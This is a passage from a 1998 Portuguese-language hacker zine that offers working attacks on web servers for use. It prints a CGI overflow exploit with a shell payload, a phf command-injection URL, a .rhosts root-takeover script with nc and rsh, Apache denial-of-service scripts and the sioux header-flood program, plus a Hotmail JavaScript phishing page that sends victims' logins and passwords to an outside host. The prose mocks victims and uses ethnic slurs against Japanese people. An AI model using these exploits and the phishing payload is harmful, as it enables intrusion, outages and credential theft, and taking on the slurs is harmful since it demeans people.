   qs[4117]=(stack&0x0000ff00)>>8;
   qs[4118]=(stack&0x00ff0000)>>16;
   qs[4119]=(stack&0xff000000)>>24;
   qs[4120]= stack&0x000000ff;
   qs[4121]=(stack&0x0000ff00)>>8;
   qs[4122]=(stack&0x00ff0000)>>16;
   qs[4123]=(stack&0xff000000)>>24;
   qs[4124]= stack&0x000000ff;
   qs[4125]=(stack&0x0000ff00)>>8;
   qs[4126]=(stack&0x00ff0000)>>16;
   qs[4127]=(stack&0xff000000)>>24;
   qs[4128]= stack&0x000000ff;
   qs[4129]=(stack&0x0000ff00)>>8;
   qs[4130]=(stack&0x00ff0000)>>16;
   qs[4131]=(stack&0xff000000)>>24;


   strcpy((char*)&qs[4132],shell);

   /* Choose what to do here */
   printf("GET /cgi-bin/Count.cgi?%s\n\n",qs);
   /*fprintf(stderr,"\n\nadresse: %x0x\n",stack);
  printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack);
  setenv("QUERY_STRING",qs,1);
  system("/usr/local/etc/httpd/cgi-bin/Count.cgi");
  system("/bin/sh");*/

}

-------------------------------------8<-------------------------


7.) Server gateway cgi atack

	Okay, entao a popularidade da seguranca dos japoneses, esta aumentando
	cada vez mais... Entao voce entra em um servidor japones!!!
	/server irc.unix-fu.jp , e la' voce encontra uma bando de olhinhos 
	puxados grudados na tela!!! Voce chega e zoa um deles do cara #srekcah
	este fala, 
	<japaneshacker> Go fuck yo self, dumbass
	<broot> Sashimi, mucutu , ariri, samana, tumanague...

		O cara fica , puto entao voce sabendo que a maioria dos 
		servidores japoneses, utilizam o /cgi-bin/phf, entao vamos a 
		festa!!! Provavelmente o jaones ta' te xingando de todos os 
		nomes como kotobuki, yacksoba entre outros, voce puta , da' um
		whois nele!!!
		/whois japaneshacker
		E recebe um response assim:
		  *** japaneshacker is ppp125.unix-fu.jp
      	  *** japaneshacker is on #srekcah
        	  *** japaneshacker is using irc.unix-fu.jp
        	  *** japaneshacker is away: Say honara, harigato!!!
        	  *** Notice that i have got some real small eyes.
	
		Agora, voce pega o seu browser ARENA de sumo!!! e coloca ele 
		para ir para o seguinte endereco:
---
y0:/# arena http://www.unix-fu.jp/cgi-bin/phf?Qname=a%0aping%20-c%201000%20
-s%205000%20ppp125.unix-fu.jp

	O que voce acabou de fazer? Pense em uma shell que voce digitou isto:
root:/#ping -c 1000 -s 5000 ppp125.unix-fu.jp

	A vitima ira receber 1000 pacotes cada um com 5008 bytes, e se este 
	esta de wind0ws!!! Rodou feio...
			
8.) Parte II

		Na SEGUNDA PARTE, EU IREI DESCREVER ALGUNS METODOS DE SEGURANCA
		E OUTROS METODOS DE COMO CONSTRUIR UM CGI, BUGADO O SUFICIENTE
		PARA ROOTAR O /BIN/BAISHO DO SISTEMA!!!! CHAU1! ;)

The bloodroot - blood@phone9.0rg
Exploitacao por meio de CGI - Parte I
reg - (c) 1998, productions
 Ŀ
  16 - Apache Web Server bugs							 
 Ŀ   by bloodroot   
                                                      ٰ
The Phone9 Communications Systems, inc.
reg - (c) 1998, productions
[Disque 9 para morer?]

	APACHE WEB SERVER hack...
	by the blood root
	
O servidor apache, e' um dos mais populares servidores de http, do mundo , 
rodando em servidores unix like, quase todos estes servidores sao powered
by apache, inc. Agora, imagina que k0ol voce invadido metade dos servidores
do mundo que rodam apache, por um simples bug? Esta tecnica e' uma mesclagem
varias outras tecnicas que eu conheci por ai, para que ela funcione sao 
necessarios, alguns requisitos:
...
		O servidor deve rodar como user nobody ( a maioria roda )
		UID = 65535 | GID = 65535
	      O servidor deve ser apache server ( nao importa a versao dele )
		Voce precisa ter uma conta no sistema!!! ( Metade das pessoas
		que leem isto, ja' desistem !!! Bunch 0f l0oSerz )
...

A maioria das pessoas familiarizadas com unix, sabem que a maioria dos 
servidores rodam como user nobody, para que a execucao de bugs via scripts,
seja delimitada a somente aos acessos fracos no sistema do user nobody. 
Como varias aplicacoes rodam sobre a uid de 65535 ( nobody ) como o apache,
wn, NCSA entre outros, e' possivel se tornar root, por meio de um browser,
em um servidor apache, onde foram feitos os testes, mas eu tenho quase 
certeza que ele funciona em outros servidores. Bom, entao vamos ao ataque:

Nos ja' constatamos que voce que somente poucos usuarios tem acesso ao user
nobody, praticamente nenhum , ja' que o password dele e' invalido '*', entao
somente o root poderia deshabilitar o '*' do password e se logar como nobody
mesmo assim, o login dele e' no /dev/null o que dificulta um pouco o login!!
Entao, nos teremos que executar algum programa que como o servidor apache, 
roda sobre a uid de user nobody. Vejamos, /usr/bin/rpc, lembram-se do phf
bug? Entao, se voce puder exploitar um tipo de bug como aquele e executar 
programas sobre a uid do user nobody no caso, voce conseguiria root em 
poucos segundos. Entao vamos comecar o ataque, faca isto:

shit:/>$ echo "+ +" > /tmp/.rhosts
shit:/>$ echo "GET cgi-bin/phf?Qalias=x%0arpc+phone9@phone9.org:/tmp/.rhost+
/root/.rhosts" | nc -v - 20 shit.com.br 80
shit:/>$ rsh -l root shit.com.br "/bin/sh -i"

Va' no /tmp do servidor e faca isto:
%touch .rhosts 			
%echo "+ +" >> /tmp/.rhosts     
%echo "GET cgi-bin/phf?Qalias=x%0arpc+phone9@phone9.org:/tmp/.rhosts+
/root/.rhosts" | nc -v - 20 shit.com.br 80
% rsh -l root shit.com.br 80
#whoami
root
#

	Bom, o que voce fez? Primeiro, criou um arquivo .rhosts no seu 
	diretorio /tmp/.rhosts, depois o passou via email para dentro do
	/root/.rhosts, e em seguida, cria uma conexao confiavel com o host
	shit.com.br, depois executa o comando rsh , que permite o login sem
	senha via arquivos .rhosts, e se logou como root no sistema sem 
	problemas!!!

ESCLARECENDO:
As duas primeiras linhas voce executa como um usuario qualquer.... A 3a.
linha, voce executa como nobody ( ou o dono do processo do servidor ), a 
segunda linha voce executa como um usuario qualquer, e a duas ultimas voce
ja' e' root no sistema shit.com.br. 
Tambem e' bom prestar atencao, que o ataque se origina sobre um exploit phf!
Entao, se o servidor nao possuir phf, use o php, se este falhar, use outro,
mas o meio de ataque deve ser rodar via browser! Outro modo de exploitar 
esta falha, e' bem simples:

#!/bin/sh
#Fazendo a vida mais facil para quem e' uma merda ;)
end=  #endereco que vai ser atacado!!!
exp=  #exploite que sera usado para o ataque.
touch /tmp/.rhosts
echo "+ +" > /tmp/.rhosts
lynx http://$end/cgi-bin/$exp?Qalias=x%0arpc+phone9@phone9.org:/tmp/.rhost+
/root/.rhosts" | nc -v - 20 shit.com.br 80
rsh -l root $end
#Mude o necessario para que tudo fique direito, mude o browser, rsh, por
#rlogin... tanto faz.... Mas nao mude o source!!!

Agora, faz tudo parte da diversao, execute este comandos e voila!!! Free 
apache server 4 ever....

O segundo bug:

	Ja' e' um bug mais sofisticado, que o outro, que depende muito da 
	sorte de se encontrar um exploit via cgi como o phf, que hoje em 
	dia esta em extinsao ( nao no pais dos olhinhos puxados, mas fazer
	o que, alguem tem que ser o burro na terra, Shimomura???? ) Este
	faz com que o servidro diminui tanto a sua velocidade de response
	que fica parecendo um PDP, na internet ( se existisse uma naquela
	epoca !heheh ;)) Entao vamos ao bug, quando alguma pessoa executa o
	apache, ele procura dentro do seu diretorio por arquivos do tipo:
	[index|homepage].[html|htm|shtml|cgi], entao se ele nao acha nenhum
	documento na sua extensao de diretorios inteira com tais 
	especificacoes, entao ele retorna um erro assim: "File name too long",
	e o cliente recebe um "access forbidden", entao o que acontece, 
	quando o apache encerra a tentativa de execucao dele, dando um dos 
	erros acima, ele continua tentando achar um destes arquivos repetitiva
	mente, entao ele consome um bom tempo da CPU time, com um processo 
	desnecessario, o que diminui ou quase aniquila a velocidade do apache!
	Um patche e' fazer com que qualquer processo no '//.....' possa ter um
	buffer maior possivel (7kb). Parte da execucao do bug se da por meio
	de um comando bem simples atribuido ao servidor GET e varias / 
	seguidas de mais / ate' que cheguem ao um tamanho imenso de / o que 
	ira travar o servidor!! O codigo para o ataque esta abaixo, enjoy!!!
----
#!/bin/bash

echo
echo "BECK -- Apache 1.2.x Denial of Sevices attack"
echo "Author: Michal Zalewski"
echo

if [ "$1" == "" ]; then
  echo "USAGE: $0 victim_host [childs]"
  echo
  echo "  victim_host  - address of victim running Apache"
  echo "  childs       - no. of simultaneeous connections [30]"
  echo
  exit 0
fi

CONN_LIMIT=30

if [ "$2" != "" ]; then
  CONN_LIMIT=$2
fi

if [ ! -f beck.dat ]; then
  echo "ERROR: file 'beck.dat' must be placed in current dir."
  echo
  exit 0
fi

echo "Attacking $1 (via $CONN_LIMIT connections) -- Ctrl+C to abort."
echo "Their load average soon will climb higher heights."

while [ -f $0 ]; do
  telnet $1 80 <beck.dat &>/dev/null &
  if [ "$CONN_LIMIT" -le "`ps|grep -c telnet`" ]; then
    echo -n "Connections limit reached - waiting... "
    while [ "$CONN_LIMIT" -le "`ps|grep -c "telnet $1"`" ]; do
      sleep 1
    done
    echo "OK"
  fi
done
----

E no .zip da zine, vem o arquivo get.dat lembre-se que estes devem estar no
mesmo lugar que script esta /home/sucker/cputimeapache, /home/sucker/get.dat

O terceiro bug:

	Para que este outro ataque DoS , seja feito e' necessario se obter
	uma conta no sistema ou entao nada de DoS!!! ( Sorry guys! ;) Bom,
	voce ira consumir um bom CPU time do servidor, voce devera ter uma
	conta e uma pagina naquele servidor!!! Agora, primeiro voce ira 
	criar 100 subdiretorios, de nome x!! E todos os inputs para o subdir
	x, serao direcionados para o /dev/null! Entao, voce executara o script
	abaixo, e este ira executar o comando via telnet para entrar na porta
	80 do servidor ( apache ), conectando-se com o limite de conexoes per-
	mitidas pelo apache, ele executa o arquivo .dat!!! E voila!! E' CPU
	time fudida para todo o lado!! Depois e' simples rode o scripts, 
	abaixo e pronto, tudo feito....
----[ Primeiro script ]----
#!/bin/sh

echo
echo "BECK-2 preprocessor by lcamtuf"
echo "This program prepares battlefield..."
echo "To undo please use 'cleanup' script."
echo

# Assume that user's homepage is into /home/httpd/html/USER...
TARGET=/home/httpd/html/`whoami`

echo -n "Going directly to your www home... "
cd $TARGET &>/dev/null

if [ "$PWD" != "$TARGET" ]; then
  echo "ERROR"
  exit 0
fi

echo "OK"

SUBDIR=x
MAXDIRS=100
CREATED=0

echo -n "Creating $MAXDIRS subdirs... "

HOME=$PWD

while [ $MAXDIRS -ge $CREATED ]; do
  OLDDIR=$PWD
  mkdir $SUBDIR &>/dev/null
  cd $SUBDIR &>/dev/null
  if [ "$PWD" = "$OLDDIR" ]; then
    echo "ERROR"
    exit 0
  fi
  let CREATED=CREATED+1
done

echo "OK"
----[ Primeiro Script ]----

----[ Segundo script ]----
#!/bin/bash

echo
echo "BECK 2 -- Apache Denial of Sevices attack (local)"
echo "Author: Michal Zalewski"
echo

if [ "$2" = "" ]; then
  echo "USAGE: $0 victim_host account"
  echo
  echo "  victim_host  - address of victim running Apache"
  echo "  account      - www account on victim machine"
  echo
  echo "NOTE: attack will be effective only when"
  echo "account has been successfully altered with"
  echo "'make_hell' script."
  echo
  exit 0
fi

LIMIT=30

if [ ! -f beck2.dat ]; then
  echo "ERROR: file 'beck2.dat' should be placed in current dir."
  echo
  exit 0
fi

echo -n "Creating temporary file... "
rm -f /tmp/beck2.tmp

if [ -f /tmp/beck2.tmp ]; then
  echo "FAILED"
  exit 0
fi

touch /tmp/beck2.tmp &>/dev/null

if [ ! -f /tmp/beck2.tmp ]; then
  echo "FAILED"
  exit 0
fi

echo "OK"

echo -n "GET /$2" >/tmp/beck2.tmp
cat beck2.dat >>/tmp/beck2.tmp

echo "Attacking $1 (thru account $2, $LIMIT connections) -- Ctrl+Z to abort"
echo "Their load average will soon climb higher heights."

while [ -f $0 ]; do
  telnet $1 80 </tmp/beck2.tmp &>/dev/null &
  CONNECTED=`ps|grep -c "telnet $1"`
  if [ "$LIMIT" -le "$CONNECTED" ]; then
    echo -n "Connections limit reached - waiting... "
    while [ "$LIMIT" -le "$CONNECTED" ]; do
      sleep 1
    done
    echo "OK"
  fi
done
----[ Segundo script ]----

----[ Terceiro script ]----
#!/bin/sh

echo
echo "BECK-2 cleanup by lcamtuf"
echo "This program cleans up battlefield..."
echo

# Assume that user's homepage is into /home/httpd/html/USER...
TARGET=/home/httpd/html/`whoami`

echo -n "Going directly to your www home... "
cd $TARGET &>/dev/null

if [ "$PWD" != "$TARGET" ]; then
  echo "ERROR"
  exit 0
fi

echo "OK"

SUBDIR=x

if [ -d $SUBDIR ]; then
  echo "Removing subdirectory $SUBDIR from ${PWD}."
  echo
else
  echo "Naaah, nothing to do. Directory $SUBDIR not found."
  echo
  exit 0
fi

HOME=$PWD

echo -n "Going deeper and deeper... "

while [ -d $SUBDIR ]; do
  OLDDIR=$PWD
  cd $SUBDIR &>/dev/null
  if [ "$PWD" = "$OLDDIR" ]; then
    echo "ERROR"
    exit 0
  fi
done

echo "OK"

echo -n "Enough, now removing everything... "

while [ "$PWD" != "$HOME" ]; do
  OLDDIR=$PWD
  cd .. &>/dev/null
  rmdir $SUBDIR &>/dev/null
  if [ "$PWD" = "$OLDDIR" ]; then
    echo "ERROR"
    exit 0
  fi
done

echo  "OK"
----[ Terceiro script ]----

	A ordem de execucao e' esta 1o. , 2o.  e 3o. , nao mude-a senao nao
	funciona como deveria!!!

O quarto bug:

	Este bug, implica sobre a versao mais antiga do apache, 1.1.1
	rodando sobre o httpd da mesma versao.... 
	Okay, entao a funcao make_cookie , no arquivo mod_cookies.c, tem um
	buffer de 100byte para o new-cookie gravar informacoes sobre o users
	que visitam o site. Este buffer grava informacoes como hostname,
	entre outros valores.... Ao longo da string apache= um numero!!!
	Veja o codigo:
...
void make_cookie(request_rec *r)  
{
struct timeval tv;
char new_cookie[100];   /* blurgh */
char *dot;      
const char *rname = pstrdup(r->pool, get_remote_host(r->connection,
r->per_dir_config,REMOTE_NAME));
struct timezone tz = { 0 , 0 };
if ((dot = strchr(rname,'.'))) *dot='\0';       /* 1o. bit do hostname*/
    gettimeofday(&tv, &tz);
    sprintf(new_cookie,"%s%s%d%ld%d; path=/",
        COOKIE_NAME, rname,
        (int)getpid(),  
        (long)tv.tv_sec, (int)tv.tv_usec/1000 );
    table_set(r->headers_out,"Set-Cookie",new_cookie);
    return;
}
...

	Perceba que todos os responses com Upper_case ( CAPSLOCK - fixa ),
	sao diminuidos ao lower_Case, no get_remote_host(), deixando um 
	meio de buffer overflowzar o servidor!!!
	
	Para saber se o seu sistema e' vulneravel ou nao... apenas
	$ telnet localhost 80
	Trying 127.0.0.1...
	Connected to localhost.
	Escape character is '^]'.
	GET / HTTP/1.0

	HTTP/1.0 200 OK
	Date: Tue, 07 Jan 1997 18:59:31 GMT
	Server: Apache/1.1.1
	Content-type: text/html
	Set-Cookie: Apache=localhost9185266357164; path=/
	
		Se a versao o servidor for 1.1.1 entao voce e' vulneravel!!	

		----- O patche da apache, e' tao estupido que nem vou coloca-lo
		----- aqui, pois quando eu o instalei na minha maquina, nao 
		----- segurou o ataque!!!!

QUiNTO bug ( e ultimo da lista?!?!?! )
------ --- - - ------ -- ----------- -

Sumario: Vulnerabilidade encontrada nas verdoes 1.3.1 e menores, que permite
	   um crash no servidor apache...  O problema e' o tratamento dos 
 	   headers enviados para eles.

Compromentimento: Se nenhuma tecnica high-tech for usada depois do crash
			do browser, somente algumas diversoes para criancas que
			nao tem nada melhor para fazer. 
			Obs: O consumo de memoria sob para 380Mb.

Falha: Abaixo vai o exploit... ele abre diversas conexoes para TCP com o 
	 servidor,  enviando os headers iguais.
/*-
 * Copyright (c) 1998 Dag-Erling Codan Smrgrav
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer
 *    in this position and unchanged.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software withough specific prior written permission
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 */

/*
 * Kudos to Mark Huizer who originally suggested this on freebsd-current
 */

#include <sys/types.h>

#include <sys/socket.h>
#include <netinet/in.h>

#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void
usage(void)
{
    fprintf(stderr, "usage: sioux [-a address] [-p port] [-n num]\n");
    exit(1);
}

int
main(int argc, char *argv[])
{
    struct sockaddr_in sin;
    struct hostent *he;
    FILE *f;
    int o, sd;

    /* default parameters */
    char *addr = "localhost";
    int port = 80;
    int num = 1000;

    /* get options */
    while ((o = getopt(argc, argv, "a:p:n:")) != EOF)
        switch (o) {
        case 'a':
            addr = optarg;
            break;
        case 'p':
            port = atoi(optarg);
            break;
        case 'n':
            num = atoi(optarg);
            break;
        default:
            usage();
        }

    if (argc != optind)
        usage();

    /* connect */
    if ((he = gethostbyname(addr)) == NULL) {
        perror("gethostbyname");
        exit(1);
    }
    bzero(&sin, sizeof(sin));
    bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
    sin.sin_family = he->h_addrtype;
    sin.sin_port = htons(port);

    if ((sd = socket(sin.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket");
        exit(1);
    }

    if (connect(sd, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
        perror("connect");
        exit(1);
    }

    if ((f = fdopen(sd, "r+")) == NULL) {
        perror("fdopen");
        exit(1);
    }

    /* attack! */
    fprintf(stderr, "Going down like a plague of locusts on %s\n", addr);
    fprintf(f, "GET / HTTP/1.1\r\n");
    while (num-- && !ferror(f))
        fprintf(f, "User-Agent: sioux\r\n");

    if (ferror(f)) {
        perror("fprintf");
        exit(1);
    }

    fclose(f);
    exit(0);
}

Medidas de seguranca: O patch foi liberado pelo Ben Lauren (1.3.1):
diff -u -r1.229 http_protocol.c
--- http_protocol.c     1998/08/06 17:30:30     1.229
+++ http_protocol.c     1998/08/07 23:02:56
@@ -714,6 +714,7 @@
     int len;
     char *value;
     char field[MAX_STRING_LEN];
+    int nheaders=0;

@@ -723,6 +724,11 @@
         char *copy = ap_palloc(r->pool, len + 1);
         memcpy(copy, field, len + 1);

+        if(++nheaders == 100) {
+           r->status = HTTP_BAD_REQUEST;
+           return;
+       }
+
         if (!(value = strchr(copy, ':'))) {     
             r->status = HTTP_BAD_REQUEST;       
             return;

--
Basicamente o bug esta dentro da linha 'memcpy(copy, field, len + 1);' que
aloca na memoria. Devido a erros na hora de fazer o apache, a memoria nao e'
limpa depois de usada, entao a cada loop a memoria fica cada vez maior.

APACHE Web server bug!!!!
by the blood root - 24/07/1998
reg - (c) blood@puruca.com.br
 Ŀ
  17 - Teste de vulnerabilidade em contas hotmail				 
 Ŀ   by bloodroot   
                                                      ٰ

	Hotmail, popular empresa fornecedora de emails gratis na internet,
	filiada a microsoft, recentemente apresentou falhas de seguranca 
	no seu sistema, permitindo que pessoas possam obter passwords de 
	praticamente todos os usuarios que diariamente se logam no gateway
	do hotmail. Tecnicamentre por meio de um email promissor, o hacker
	pode colocar comandos JScript, na mensagem com o fim de mudar os 
	links originais do hotmail na web (hotmail.com???) Assim sera e'
	necessario que o usuario se logue novamente, e quando ele se logar
	o link e' redirecionado para uma pagina mirror hacker, que ira 
	guardar as informacoes do login e passwords, digitados.
	
	O comprometimento e' total, implicando em abrir totalmente as
	pernas do hotmail, e' possivel se ler qualquer email da vitima,
	se logando por meio de um login e password ativo.


		O hotmail lancou algumas medidas preventivas:
		- Deshabilite a opcao de Java Script do seu browser
		- E qualquer erro durante a execucao da pagina do 
		  hotmail, nao acesse mais aquele email, crie outra
	  	  conta...

	Basicamente o problema e' da hotmail, que nao instala filtros
	bons o suficientes para pararem qualquer grao de linguagem 
	Java Script nas mensagens enviadas assim a execucao de comandos
	remotamente por meio de um email durante o gateway do hotmail e'
	algo tecnicamente e praticamente possivel e implica na total 
	invalidez da seguranca do sistema HOTMAIL de emails gratis...

		Ao constrario de outros que tentam preservar as suas
		contas seguramente, nos agora publicamos o codigo 
		tao temido do hotmail, e apenas um conselho seguro,
	- Coloque uma conta de mail descente... ;)

--[ Codigo bugado ]--
<html><head></head><body>
<p>"Where do you wanna crash???" - bill gates</p>
<script>
function getmess(){
return "<table border=0 cellpadding=5 cellspacing=5 width=508
height=90%>" +
"<tr valign=middle>" +
"<th colspan=2>" +
"<font face=\"Arial, Helvetica\" size=\"5\">" +
"We're Sorry, We Cannot<br>Process Your Request" +
"</font></th></tr>" +
"<tr valign=middle><td align=center>" +
"<font face=\"Arial, Helvetica\" size=\"3\">Reason: </font>" +
"<font face=\"Arial, Helvetica\" size=\"3\"
color=\"#ff0000\"><b>Time expired. Please re-login.</b></font><br>"
+
"<font face=\"Arial, Helvetica\" size=\"2\"><a
href=\"http://www.hotmail.com/errormsg.html\">(Get more info
regarding error messages here)</a></font>" +
"</td></tr>" +
"<tr valign=\"middle\"><td align=\"center\">" +
"<FORM METHOD=POST
ACTION=\"http://www.geocities.com/cgi-bin/homestead/mail.pl?ybwc\"
target=\"_top\">" +
"<INPUT TYPE=\"hidden\" NAME=\"next-url\"
VALUE=\"http://www.hotmail.com\">" +
"<INPUT TYPE=\"hidden\" NAME=\"subject\" VALUE=\"Hotmail Password\">" +
"<table cellpadding=\"0\" cellspacing=\"5\" border=\"0\">" +
"<tr><td><font face=\"Arial, Helvetica\" size=\"2\">Login
Name:</font><br><input type=\"text\" name=\"login\" size=\"16\"
maxlength=\"16\"></td><td><font face=\"Arial, Helvetica\"
size=\"2\">Password:</font><br><input type=\"password\"
name=\"passwd\" size=\"16\" maxlength=\"16\"> <input
type=\"submit\" value=\"Enter\"></td><tr>" +
"</table></form></td></tr>" +
"<tr valign=middle><th colspan=2 align=center>" +
"<font face=\"Arial, Helvetica\" size=\"3\">" +
"Return to <a href=\"http://welcome.to/www.hotmail.com\"
target=\"_parent\">Hotmail's Homepage</a>." +
"</font></th></tr></table>" +
"<p><img src=\"http://209.1.112.251/c9698.gif\" width=189 height=16
border=0 alt=\"Copyright 1996-1997\">";
}

nomenulinks=top.submenu.document.links.length;
for(i=0;i<nomenulinks-1;i++){
top.submenu.document.links[i].target="work";
top.submenu.document.links[i].href="javascript:getmess()";
}

noworklinks=top.work.document.links.length;
for(i=0;i<noworklinks-1;i++){
top.work.document.links[i].target="work";
top.work.document.links[i].href="javascript:getmess()";
}

</script>
</body>
</html>--[ Codigo bugado ]--

	Agora e' so mandar este codigo por email para algum usuario 
	do hotmail, quando este verificar o seu email, babauw...
	Voce recebera na conta que mandou o email, o IP, login e e'
	claro o password da anta... 

bloodroot - blood@deathknights.com
Teste de vulnerabilidade em contas hotmail
reg - (c) 1998, productions.
 Ŀ
  18 - Falhas em extensoes HTML .ASP...						 
 Ŀ   by bloodroot   
                                                      ٰ

	Sistemas ASP de extensoes HTML para servidores, sao alvos
	vulneraveis a ataques banais a procura de visualizar o 
	codigo de uma pagina .asp de um servidor 'bugado', este
	podendo ser alvo de ataques com as informacoes contidas
	no codigo das paginas... O sistema Active Server Page, 
	e' uma forma de se estruturar paginas como banco de dados
	e recursos do servidor, sem que seja necessario o conhecer
	a linguagem de scripting para este tipo de atividades na Web.
	
	Embora seja futil, e somente pagina com extrema funcionalidade
	posssam ser alvos deste ataque, sistemas de compras on-line
	baseados em .asp podem e serao invadidos tendo a visualizacao 
	do codigo fonte das paginas revelado, podendo originar ataques
	a certos sistemas de protecao SSLeay, entre outros. Embora futil
	um sistema que tenha mesmo que uma inutil, esta pode ser usada
	de forma comprometedora...

		As vulnerabilidade implica em utilizar diretorios com o 
		caractere '.' neles ex. www.p9.org/www.www/phucking.asp
		assim o diretorio www.www e' totalmente vulneravel assim
		como todas as suas paginas. Assim as paginas que possuem
		estes diretorios, estao 100% vulneraveis.

	Tecnicas de protecao:
	Bom, se voce ainda nao descobriu sozinho... E' apenas excluir o 
	'.' dos diretorios, http://www.p9.org/wwwxwww/phucking.asp, assim
	o bug nao pode afetar as estruturas do servidor ASP. Nenhuma
	empresa de seguranca, ou de inseguracna (microsoft), se pronunciou
	com alguma medida eficais de prevencao ao bugs, portanto fica assim
	ate tio bill, vir com outra melhor...
   
bloodroot - blood@deathknights.com
Falhas em extensoes HTML .ASP...
reg - (c) 1998, productions.
 Ŀ
 19 - The Phone9 communications, departaments.					 
 Ŀ  by Blood Root   
                                                      ٰ

  .ph0ne9.sp0ts
    Agradecimentos: cacaio (deathknighter!!!), pessoal da BOS-br, Dr.sm0g
    microsoftz.com, Puruca, x1p,  Phineas Phreak, Xzr2pt, .pr0c.,  bi0tek
    E a todo o pessoal que colaborou com a edicao zine.

  .linx
    www.ph0ne9.0rg
    www.freshmeat.net
    www.microsoftz.com
    www.hackers.com.br
    www.deathknights.com
    www.outzone.net
    www.puruca.com.br	

  .akitivites
    Data da 3a. edicao: 01 de novembro'98
    Data da 4a. edicao: 01 de janeiro'98
    Data da 5a. edicao: 01 de marco'98

  .inf0rmati0n
    Informacoes:  info9@phone9.org
    Artigos:      articles@phone9.org
    editor-chefe: blood@phone9.org

			- The Phone9 Communications Systems -
      ____  _   _ ___ _ __   ___  ____      ____  ___  _  _  _ ___   ___
     /  _ \/ /_/ / _ | '_ \ / _ \/ _  \ __ |__  |/ _ \| |/ /| '_  \ / _ \
    / ____/  _  / /  | | | |  __/\__  //\_\  / /|  __/|   . | | | |/ /  /
    \/    \/  \/\___/|_| |_|\___|__/ / \/_/ /_/  \___||_|\_\|_| |_|\___/
                            |_______/     _
     _  _  ___ ______ _______ __ __ _ ___(_)_  _ ___ ____ _   ___ _ ___
    | |/ // _ \      / .[P9] /  |  \ '_  \ | |/ /   |__  \_) / _ \ '_  \
    |   ./ /  / |_|  \  |_|  \  .  / | | | |   .  -  \ / / |/ /  / | | |
    |_|\_\___/__| |  /__| |  /\___/|_| |_|_|_|\_\__,_//_/|_|\___/|_| |_|
                   \/      \/                  askii by bloodroot|bi0tek
                 
                       __ __ _    .Phone9.     _ __ __
                      / /\ __ _  .tekno.k0n   _ __ /\ \
                      \_\/__ _     [dr0ne]     _ __\/_/

 contact: [.blood@puruca.com.br.]|[.phone9@phone9.org]
 The Phone9 kommunications Systems, Inc